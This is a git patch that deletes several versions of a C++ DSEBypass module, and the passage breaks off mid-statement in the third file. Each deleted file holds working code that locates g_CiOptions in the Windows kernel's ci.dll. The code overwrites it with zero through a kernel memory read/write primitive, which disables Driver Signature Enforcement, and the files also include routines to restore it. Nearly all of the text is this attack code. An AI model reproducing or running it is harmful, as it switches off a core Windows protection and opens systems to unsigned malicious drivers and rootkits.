From c2bda40e5bac4a0fb6cc5888a8fdbf2a01ec00f6 Mon Sep 17 00:00:00 2001 From: wesmar Date: Wed, 15 Oct 2025 23:52:43 +0200 Subject: [PATCH] Aktualizacja: 2025-10-15 23:52:42 --- kvc/DSEBypass_BSOD_minDebug.cpp | 370 ------------------------------ kvc/DSEBypass_old.cpp | 369 ------------------------------ kvc/DSEBypass_read_test.cpp | 394 -------------------------------- kvc/DSEBypass_write.cpp | 358 ----------------------------- 4 files changed, 1491 deletions(-) delete mode 100644 kvc/DSEBypass_BSOD_minDebug.cpp delete mode 100644 kvc/DSEBypass_old.cpp delete mode 100644 kvc/DSEBypass_read_test.cpp delete mode 100644 kvc/DSEBypass_write.cpp diff --git a/kvc/DSEBypass_BSOD_minDebug.cpp b/kvc/DSEBypass_BSOD_minDebug.cpp deleted file mode 100644 index a69f6bb..0000000 --- a/kvc/DSEBypass_BSOD_minDebug.cpp +++ /dev/null @@ -1,370 +0,0 @@ -#include "DSEBypass.h" -#include "common.h" - -#pragma comment(lib, "ntdll.lib") - -// Kernel module structures (same as in Utils.cpp) -typedef struct _SYSTEM_MODULE { - ULONG_PTR Reserved1; - ULONG_PTR Reserved2; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; -} SYSTEM_MODULE, *PSYSTEM_MODULE; - -typedef struct _SYSTEM_MODULE_INFORMATION { - ULONG Count; - SYSTEM_MODULE Modules[1]; -} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; - -DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} - -bool DSEBypass::DisableDSE() noexcept { - INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); - - // Step 1: Find ci.dll base address - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); - - // Step 2: Locate g_CiOptions in CiPolicy section - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - // Step 3: Read current value and store as original - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - m_originalValue = current.value(); - INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); - - // Step 4: Test write capability - write same value back - DEBUG(L"[DSE] Testing write capability before modification..."); - if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { - ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); - ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); - return false; - } - - // Verify test write - auto testRead = m_rtc->Read32(m_ciOptionsAddr); - if (!testRead || testRead.value() != m_originalValue) { - ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", - m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); - ERROR(L"[DSE] Memory region appears to be protected or monitored"); - return false; - } - - DEBUG(L"[DSE] Write capability test passed - memory is writable"); - - // Step 5: Disable DSE by setting to 0 - DWORD newValue = 0x0; - - if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); - return false; - } - - // Step 6: Verify the actual change - auto verify = m_rtc->Read32(m_ciOptionsAddr); - if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); - return false; - } - - SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); - return true; -} - -bool DSEBypass::RestoreDSE() noexcept { - INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); - - // Step 1: Find ci.dll base address - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - // Step 2: Locate g_CiOptions - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - // Step 3: Read current value - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - DWORD currentValue = current.value(); - INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); - - // Step 4: Test write capability before modification - DEBUG(L"[DSE] Testing write capability before restoration..."); - if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { - ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); - return false; - } - - auto testRead = m_rtc->Read32(m_ciOptionsAddr); - if (!testRead || testRead.value() != currentValue) { - ERROR(L"[DSE] Memory test verification failed"); - return false; - } - - DEBUG(L"[DSE] Write capability test passed"); - - // Step 5: Restore to original value or default (0x6) - DWORD newValue = m_originalValue ? m_originalValue : 0x6; - - if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); - return false; - } - - // Step 6: Verify the change - auto verify = m_rtc->Read32(m_ciOptionsAddr); - if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed"); - return false; - } - - SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); - return true; -} - -std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { - HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); - if (!hNtdll) { - ERROR(L"[DSE] Failed to get ntdll.dll handle"); - return std::nullopt; - } - - typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( - ULONG SystemInformationClass, - PVOID SystemInformation, - ULONG SystemInformationLength, - PULONG ReturnLength - ); - - auto pNtQuerySystemInformation = reinterpret_cast( - GetProcAddress(hNtdll, "NtQuerySystemInformation")); - - if (!pNtQuerySystemInformation) { - ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); - return std::nullopt; - } - - // First call to get required buffer size - ULONG bufferSize = 0; - NTSTATUS status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - nullptr, - 0, - &bufferSize - ); - - if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH - ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); - return std::nullopt; - } - - // Allocate buffer and get module list - auto buffer = std::make_unique(bufferSize); - auto modules = reinterpret_cast(buffer.get()); - - status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - modules, - bufferSize, - &bufferSize - ); - - if (status != 0) { - ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); - return std::nullopt; - } - - INFO(L"[DSE] Found %d kernel modules", modules->Count); - - // Debug: Show first 10 modules for diagnostic purposes - DEBUG(L"[DSE] Listing first 10 kernel modules:"); - for (ULONG i = 0; i < modules->Count && i < 10; i++) { - auto& mod = modules->Modules[i]; - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) fileName++; - else fileName = mod.ImageName; - - DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, - reinterpret_cast(mod.ImageBase)); - } - - // Search for target module by name - for (ULONG i = 0; i < modules->Count; i++) { - auto& mod = modules->Modules[i]; - - // Extract filename from full path - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) { - fileName++; // Skip backslash - } else { - fileName = mod.ImageName; - } - - if (_stricmp(fileName, moduleName) == 0) { - ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); - - // Validate base address is not NULL - if (baseAddr == 0) { - ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); - continue; // Keep searching in case of duplicates - } - - DEBUG(L"[DSE] Found %S at 0x%llX (size: 0x%X)", moduleName, baseAddr, mod.ImageSize); - return baseAddr; - } - } - - ERROR(L"[DSE] Module %S not found in kernel", moduleName); - return std::nullopt; -} - -ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { - DEBUG(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); - - // Get CiPolicy section information - auto dataSection = GetDataSection(ciBase); - if (!dataSection) { - ERROR(L"[DSE] Failed to locate CiPolicy section in ci.dll"); - return 0; - } - - ULONG_PTR dataStart = dataSection->first; - SIZE_T dataSize = dataSection->second; - - DEBUG(L"[DSE] CiPolicy section: 0x%llX (size: 0x%llX)", dataStart, dataSize); - - // g_CiOptions is always at offset +4 in CiPolicy section - // This is a documented offset used by all DSE bypass tools - ULONG_PTR ciOptionsAddr = dataStart + 0x4; - - // Verify we can read from this address - auto currentValue = m_rtc->Read32(ciOptionsAddr); - if (!currentValue) { - ERROR(L"[DSE] Failed to read g_CiOptions at 0x%llX", ciOptionsAddr); - return 0; - } - - DEBUG(L"[DSE] Found g_CiOptions at: 0x%llX (value: 0x%08X)", ciOptionsAddr, currentValue.value()); - return ciOptionsAddr; -} - -std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { - // Read DOS header (MZ signature) - auto dosHeader = m_rtc->Read16(moduleBase); - if (!dosHeader || dosHeader.value() != 0x5A4D) { - return std::nullopt; - } - - // Get PE header offset - auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); - if (!e_lfanew || e_lfanew.value() > 0x1000) { - return std::nullopt; - } - - ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); - - // Verify PE signature - auto peSignature = m_rtc->Read32(ntHeaders); - if (!peSignature || peSignature.value() != 0x4550) { - return std::nullopt; - } - - // Get section count - auto numSections = m_rtc->Read16(ntHeaders + 0x6); - if (!numSections || numSections.value() > 50) { - return std::nullopt; - } - - auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); - if (!sizeOfOptionalHeader) return std::nullopt; - - ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); - - DEBUG(L"[DSE] Scanning %d sections for CiPolicy...", numSections.value()); - - // ZOPTYMALIZOWANE: Szukaj tylko CiPolicy bez wypisywania wszystkich - for (WORD i = 0; i < numSections.value(); i++) { - ULONG_PTR sectionHeader = firstSection + (i * 40); - - // Read section name (8 bytes) - char name[9] = {0}; - for (int j = 0; j < 8; j++) { - auto ch = m_rtc->Read8(sectionHeader + j); - if (ch) name[j] = static_cast(ch.value()); - } - - // Check if this is CiPolicy - if (strcmp(name, "CiPolicy") == 0) { - auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); - auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); - - if (virtualSize && virtualAddr) { - DEBUG(L"[DSE] Found CiPolicy section at RVA 0x%06X, size 0x%06X", - virtualAddr.value(), virtualSize.value()); - - return std::make_pair( - moduleBase + virtualAddr.value(), - static_cast(virtualSize.value()) - ); - } - } - } - - ERROR(L"[DSE] CiPolicy section not found in ci.dll"); - return std::nullopt; -} - -bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { - // Simplified validation - address should be within module bounds - // Maximum reasonable module size is 2MB - return (addr > moduleBase && addr < moduleBase + 0x200000); -} - -DWORD DSEBypass::GetWindowsBuild() noexcept { - OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; - - typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); - RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( - GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); - - if (RtlGetVersion) { - RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); - return osInfo.dwBuildNumber; - } - - return 0; -} \ No newline at end of file diff --git a/kvc/DSEBypass_old.cpp b/kvc/DSEBypass_old.cpp deleted file mode 100644 index 5ab9d0f..0000000 --- a/kvc/DSEBypass_old.cpp +++ /dev/null @@ -1,369 +0,0 @@ -#include "DSEBypass.h" -#include "common.h" - -#pragma comment(lib, "ntdll.lib") - -// Same structures as in Utils.cpp -typedef struct _SYSTEM_MODULE { - ULONG_PTR Reserved1; - ULONG_PTR Reserved2; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; -} SYSTEM_MODULE, *PSYSTEM_MODULE; - -typedef struct _SYSTEM_MODULE_INFORMATION { - ULONG Count; - SYSTEM_MODULE Modules[1]; -} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; - -DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} - -bool DSEBypass::DisableDSE() noexcept { - INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); - - // 1-3. Find ci.dll and g_CiOptions (bez zmian) - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); - - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - m_originalValue = current.value(); - INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); - - // ✅ Wyłącz DSE poprzez wyzerowanie - DWORD newValue = 0x0; // Najprostsze - wyzeruj wszystko jak EfiDSEFix - - if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); - return false; - } - - auto verify = m_rtc->Read32(m_ciOptionsAddr); - if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); - return false; - } - - SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); - return true; -} - -bool DSEBypass::RestoreDSE() noexcept { - INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); - - // 1-2. Find ci.dll and g_CiOptions (bez zmian) - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - DWORD currentValue = current.value(); - INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); - - // ✅ Przywróć oryginalną wartość (zwykle 0x6) - DWORD newValue = m_originalValue ? m_originalValue : 0x6; // Fallback do 0x6 - - if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); - return false; - } - - auto verify = m_rtc->Read32(m_ciOptionsAddr); - if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed"); - return false; - } - - SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); - return true; -} - -std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { - HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); - if (!hNtdll) { - ERROR(L"[DSE] Failed to get ntdll.dll handle"); - return std::nullopt; - } - - typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( - ULONG SystemInformationClass, - PVOID SystemInformation, - ULONG SystemInformationLength, - PULONG ReturnLength - ); - - auto pNtQuerySystemInformation = reinterpret_cast( - GetProcAddress(hNtdll, "NtQuerySystemInformation")); - - if (!pNtQuerySystemInformation) { - ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); - return std::nullopt; - } - - ULONG bufferSize = 0; - NTSTATUS status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - nullptr, - 0, - &bufferSize - ); - - // STATUS_INFO_LENGTH_MISMATCH = 0xC0000004 - if (status != 0xC0000004L) { - ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); - return std::nullopt; - } - - auto buffer = std::make_unique(bufferSize); - auto modules = reinterpret_cast(buffer.get()); - - status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - modules, - bufferSize, - &bufferSize - ); - - if (status != 0) { - ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); - return std::nullopt; - } - - INFO(L"[DSE] Found %d kernel modules", modules->Count); - - // DEBUG: Show first 10 modules - for (ULONG i = 0; i < modules->Count && i < 10; i++) { - auto& mod = modules->Modules[i]; - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) fileName++; - else fileName = mod.ImageName; - - DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, - reinterpret_cast(mod.ImageBase)); - } - - // Search for module by name - for (ULONG i = 0; i < modules->Count; i++) { - auto& mod = modules->Modules[i]; - - // ImageName contains full path, file name is at the end - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) { - fileName++; // Skip '\' - } else { - fileName = mod.ImageName; - } - - if (_stricmp(fileName, moduleName) == 0) { - ULONG_PTR baseAddr = reinterpret_cast(mod.ImageBase); - - // Check if ImageBase is not NULL - if (baseAddr == 0) { - ERROR(L"[DSE] Module %S found but ImageBase is NULL", moduleName); - continue; // Keep searching - } - - INFO(L"[DSE] Found %S at 0x%llX", moduleName, baseAddr); - return baseAddr; - } - } - - ERROR(L"[DSE] Module %S not found in kernel", moduleName); - return std::nullopt; -} - -ULONG_PTR DSEBypass::FindCiOptions(ULONG_PTR ciBase) noexcept { - INFO(L"[DSE] Searching for g_CiOptions in ci.dll at base 0x%llX", ciBase); - - auto dataSection = GetDataSection(ciBase); - if (!dataSection) { - ERROR(L"[DSE] Failed to locate data section in ci.dll"); - return 0; - } - - ULONG_PTR dataStart = dataSection->first; - SIZE_T dataSize = dataSection->second; - - INFO(L"[DSE] Scanning section: 0x%llX (size: 0x%llX)", dataStart, dataSize); - - // Skanuj całą sekcję - SIZE_T scanLimit = dataSize; - DWORD consecutiveFailures = 0; - - // ✅ DEBUG - wypisz WSZYSTKIE wartości w sekcji - INFO(L"[DSE] Dumping all DWORD values in section:"); - for (ULONG_PTR addr = dataStart; addr < dataStart + scanLimit - 4; addr += 4) { - auto value = m_rtc->Read32(addr); - - if (!value) { - consecutiveFailures++; - DEBUG(L"[DSE] 0x%llX: [READ FAILED]", addr); - if (consecutiveFailures > 20) { - ERROR(L"[DSE] Too many consecutive read failures, aborting"); - return 0; - } - continue; - } - - consecutiveFailures = 0; - DWORD val = value.value(); - - // Wypisz KAŻDĄ wartość - DEBUG(L"[DSE] 0x%llX (offset 0x%llX): 0x%08X", addr, addr - ciBase, val); - - // Pattern g_CiOptions - if ((val & 0x6) == 0x6 && val < 0x10000) { - ULONG_PTR offset = addr - ciBase; - INFO(L"[DSE] *** FOUND g_CiOptions at: 0x%llX (offset: 0x%llX, value: 0x%08X)", - addr, offset, val); - return addr; - } - } - - ERROR(L"[DSE] g_CiOptions not found in section"); - return 0; -} - -std::optional> DSEBypass::GetDataSection(ULONG_PTR moduleBase) noexcept { - auto dosHeader = m_rtc->Read16(moduleBase); - if (!dosHeader || dosHeader.value() != 0x5A4D) { - return std::nullopt; - } - - auto e_lfanew = m_rtc->Read32(moduleBase + 0x3C); - if (!e_lfanew || e_lfanew.value() > 0x1000) { - return std::nullopt; - } - - ULONG_PTR ntHeaders = moduleBase + e_lfanew.value(); - - auto peSignature = m_rtc->Read32(ntHeaders); - if (!peSignature || peSignature.value() != 0x4550) { - return std::nullopt; - } - - auto numSections = m_rtc->Read16(ntHeaders + 0x6); - if (!numSections || numSections.value() > 50) { - return std::nullopt; - } - - auto sizeOfOptionalHeader = m_rtc->Read16(ntHeaders + 0x14); - if (!sizeOfOptionalHeader) return std::nullopt; - - ULONG_PTR firstSection = ntHeaders + 4 + 20 + sizeOfOptionalHeader.value(); - - // ✅ DEBUG - wylistuj WSZYSTKIE sekcje - INFO(L"[DSE] Listing ALL sections in ci.dll:"); - for (WORD i = 0; i < numSections.value(); i++) { - ULONG_PTR sectionHeader = firstSection + (i * 40); - - char name[9] = {0}; - for (int j = 0; j < 8; j++) { - auto ch = m_rtc->Read8(sectionHeader + j); - if (ch) name[j] = static_cast(ch.value()); - } - - auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); - auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); - auto characteristics = m_rtc->Read32(sectionHeader + 0x24); - - if (virtualSize && virtualAddr && characteristics) { - DWORD chars = characteristics.value(); - bool writable = (chars & 0x80000000) != 0; // IMAGE_SCN_MEM_WRITE - - INFO(L"[DSE] Section %d: %-8S RVA=0x%06X Size=0x%06X Chars=0x%08X %s", - i, name, virtualAddr.value(), virtualSize.value(), chars, - writable ? L"[WRITABLE]" : L"[READ-ONLY]"); - } - } - - // Teraz szukaj sekcji zawierającej offset 0x4E004 - for (WORD i = 0; i < numSections.value(); i++) { - ULONG_PTR sectionHeader = firstSection + (i * 40); - - char name[9] = {0}; - for (int j = 0; j < 8; j++) { - auto ch = m_rtc->Read8(sectionHeader + j); - if (ch) name[j] = static_cast(ch.value()); - } - - auto virtualSize = m_rtc->Read32(sectionHeader + 0x08); - auto virtualAddr = m_rtc->Read32(sectionHeader + 0x0C); - - if (virtualSize && virtualAddr) { - DWORD rva = virtualAddr.value(); - DWORD size = virtualSize.value(); - - // Sprawdź czy offset 0x4E004 jest w tej sekcji - if (0x4E004 >= rva && 0x4E004 < (rva + size)) { - INFO(L"[DSE] Section %S contains offset 0x4E004!", name); - - return std::make_pair( - moduleBase + rva, - static_cast(size) - ); - } - } - } - - ERROR(L"[DSE] No section found containing offset 0x4E004"); - return std::nullopt; -} - -bool DSEBypass::IsValidDataPointer(ULONG_PTR moduleBase, ULONG_PTR addr) noexcept { - // Simplified validation - address should be within module - return (addr > moduleBase && addr < moduleBase + 0x200000); -} - -DWORD DSEBypass::GetWindowsBuild() noexcept { - OSVERSIONINFOEXW osInfo = { sizeof(osInfo) }; - - typedef NTSTATUS(WINAPI* RtlGetVersionPtr)(PRTL_OSVERSIONINFOW); - RtlGetVersionPtr RtlGetVersion = (RtlGetVersionPtr)GetProcAddress( - GetModuleHandleW(L"ntdll.dll"), "RtlGetVersion"); - - if (RtlGetVersion) { - RtlGetVersion((PRTL_OSVERSIONINFOW)&osInfo); - return osInfo.dwBuildNumber; - } - - return 0; -} \ No newline at end of file diff --git a/kvc/DSEBypass_read_test.cpp b/kvc/DSEBypass_read_test.cpp deleted file mode 100644 index 391a3bc..0000000 --- a/kvc/DSEBypass_read_test.cpp +++ /dev/null @@ -1,394 +0,0 @@ -#include "DSEBypass.h" -#include "common.h" - -#pragma comment(lib, "ntdll.lib") - -// Kernel module structures (same as in Utils.cpp) -typedef struct _SYSTEM_MODULE { - ULONG_PTR Reserved1; - ULONG_PTR Reserved2; - PVOID ImageBase; - ULONG ImageSize; - ULONG Flags; - USHORT LoadOrderIndex; - USHORT InitOrderIndex; - USHORT LoadCount; - USHORT PathLength; - CHAR ImageName[256]; -} SYSTEM_MODULE, *PSYSTEM_MODULE; - -typedef struct _SYSTEM_MODULE_INFORMATION { - ULONG Count; - SYSTEM_MODULE Modules[1]; -} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; - -DSEBypass::DSEBypass(std::unique_ptr& rtc) : m_rtc(rtc) {} - -bool DSEBypass::DisableDSE() noexcept { - INFO(L"[DSE] Attempting to disable Driver Signature Enforcement..."); - - // Step 1: Find ci.dll base address - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - INFO(L"[DSE] ci.dll base: 0x%llX", ciBase.value()); - - // Step 2: Locate g_CiOptions in CiPolicy section - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - // Step 3: Read current value and store as original - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - m_originalValue = current.value(); - INFO(L"[DSE] Original g_CiOptions: 0x%08X", m_originalValue); - - // Step 4: Test write capability - write same value back - DEBUG(L"[DSE] Testing write capability before modification..."); - if (!m_rtc->Write32(m_ciOptionsAddr, m_originalValue)) { - ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); - ERROR(L"[DSE] This could indicate Tamper Protection or PatchGuard monitoring"); - return false; - } - - // Verify test write - auto testRead = m_rtc->Read32(m_ciOptionsAddr); - if (!testRead || testRead.value() != m_originalValue) { - ERROR(L"[DSE] Memory test verification failed (expected: 0x%08X, got: 0x%08X)", - m_originalValue, testRead ? testRead.value() : 0xFFFFFFFF); - ERROR(L"[DSE] Memory region appears to be protected or monitored"); - return false; - } - - DEBUG(L"[DSE] Write capability test passed - memory is writable"); - - // Step 5: Disable DSE by setting to 0 - DWORD newValue = 0x0; - - if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); - return false; - } - - // Step 6: Verify the actual change - auto verify = m_rtc->Read32(m_ciOptionsAddr); - if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed (read back: 0x%08X)", verify ? verify.value() : 0xFFFFFFFF); - return false; - } - - SUCCESS(L"[DSE] DSE disabled successfully! (0x%08X -> 0x%08X)", m_originalValue, newValue); - return true; -} - -bool DSEBypass::RestoreDSE() noexcept { - INFO(L"[DSE] Attempting to restore Driver Signature Enforcement..."); - - // Step 1: Find ci.dll base address - auto ciBase = GetKernelModuleBase("ci.dll"); - if (!ciBase) { - ERROR(L"[DSE] Failed to locate ci.dll"); - return false; - } - - // Step 2: Locate g_CiOptions - m_ciOptionsAddr = FindCiOptions(ciBase.value()); - if (!m_ciOptionsAddr) { - ERROR(L"[DSE] Failed to locate g_CiOptions"); - return false; - } - - INFO(L"[DSE] g_CiOptions address: 0x%llX", m_ciOptionsAddr); - - // Step 3: Read current value - auto current = m_rtc->Read32(m_ciOptionsAddr); - if (!current) { - ERROR(L"[DSE] Failed to read g_CiOptions"); - return false; - } - - DWORD currentValue = current.value(); - INFO(L"[DSE] Current g_CiOptions: 0x%08X", currentValue); - - // Step 4: Test write capability before modification - DEBUG(L"[DSE] Testing write capability before restoration..."); - if (!m_rtc->Write32(m_ciOptionsAddr, currentValue)) { - ERROR(L"[DSE] Memory test write failed - address may be read-only or protected"); - return false; - } - - auto testRead = m_rtc->Read32(m_ciOptionsAddr); - if (!testRead || testRead.value() != currentValue) { - ERROR(L"[DSE] Memory test verification failed"); - return false; - } - - DEBUG(L"[DSE] Write capability test passed"); - - // Step 5: Restore to original value or default (0x6) - DWORD newValue = m_originalValue ? m_originalValue : 0x6; - - if (!m_rtc->Write32(m_ciOptionsAddr, newValue)) { - ERROR(L"[DSE] Failed to write g_CiOptions"); - return false; - } - - // Step 6: Verify the change - auto verify = m_rtc->Read32(m_ciOptionsAddr); - if (!verify || verify.value() != newValue) { - ERROR(L"[DSE] Verification failed"); - return false; - } - - SUCCESS(L"[DSE] DSE restored successfully! (0x%08X -> 0x%08X)", currentValue, newValue); - return true; -} - -std::optional DSEBypass::GetKernelModuleBase(const char* moduleName) noexcept { - HMODULE hNtdll = GetModuleHandleW(L"ntdll.dll"); - if (!hNtdll) { - ERROR(L"[DSE] Failed to get ntdll.dll handle"); - return std::nullopt; - } - - typedef NTSTATUS (WINAPI *NTQUERYSYSTEMINFORMATION)( - ULONG SystemInformationClass, - PVOID SystemInformation, - ULONG SystemInformationLength, - PULONG ReturnLength - ); - - auto pNtQuerySystemInformation = reinterpret_cast( - GetProcAddress(hNtdll, "NtQuerySystemInformation")); - - if (!pNtQuerySystemInformation) { - ERROR(L"[DSE] Failed to get NtQuerySystemInformation"); - return std::nullopt; - } - - // First call to get required buffer size - ULONG bufferSize = 0; - NTSTATUS status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - nullptr, - 0, - &bufferSize - ); - - if (status != 0xC0000004L) { // STATUS_INFO_LENGTH_MISMATCH - ERROR(L"[DSE] NtQuerySystemInformation failed with status: 0x%08X", status); - return std::nullopt; - } - - // Allocate buffer and get module list - auto buffer = std::make_unique(bufferSize); - auto modules = reinterpret_cast(buffer.get()); - - status = pNtQuerySystemInformation( - 11, // SystemModuleInformation - modules, - bufferSize, - &bufferSize - ); - - if (status != 0) { - ERROR(L"[DSE] NtQuerySystemInformation failed (2nd call): 0x%08X", status); - return std::nullopt; - } - - INFO(L"[DSE] Found %d kernel modules", modules->Count); - - // Debug: Show first 10 modules for diagnostic purposes - DEBUG(L"[DSE] Listing first 10 kernel modules:"); - for (ULONG i = 0; i < modules->Count && i < 10; i++) { - auto& mod = modules->Modules[i]; - const char* fileName = strrchr(mod.ImageName, '\\'); - if (fileName) fileName++; - else fileName = mod.ImageName; - - DEBUG(L"[DSE] Module %d: %S at 0x%llX", i, fileName, - reinterpret_cast(mod.ImageBase)); - } - - // Search for target module by name - for (ULONG i = 0; i < modules->Count; i++) { - auto& mod = modules->Modules[i]; - - // Extract filename from full path - const 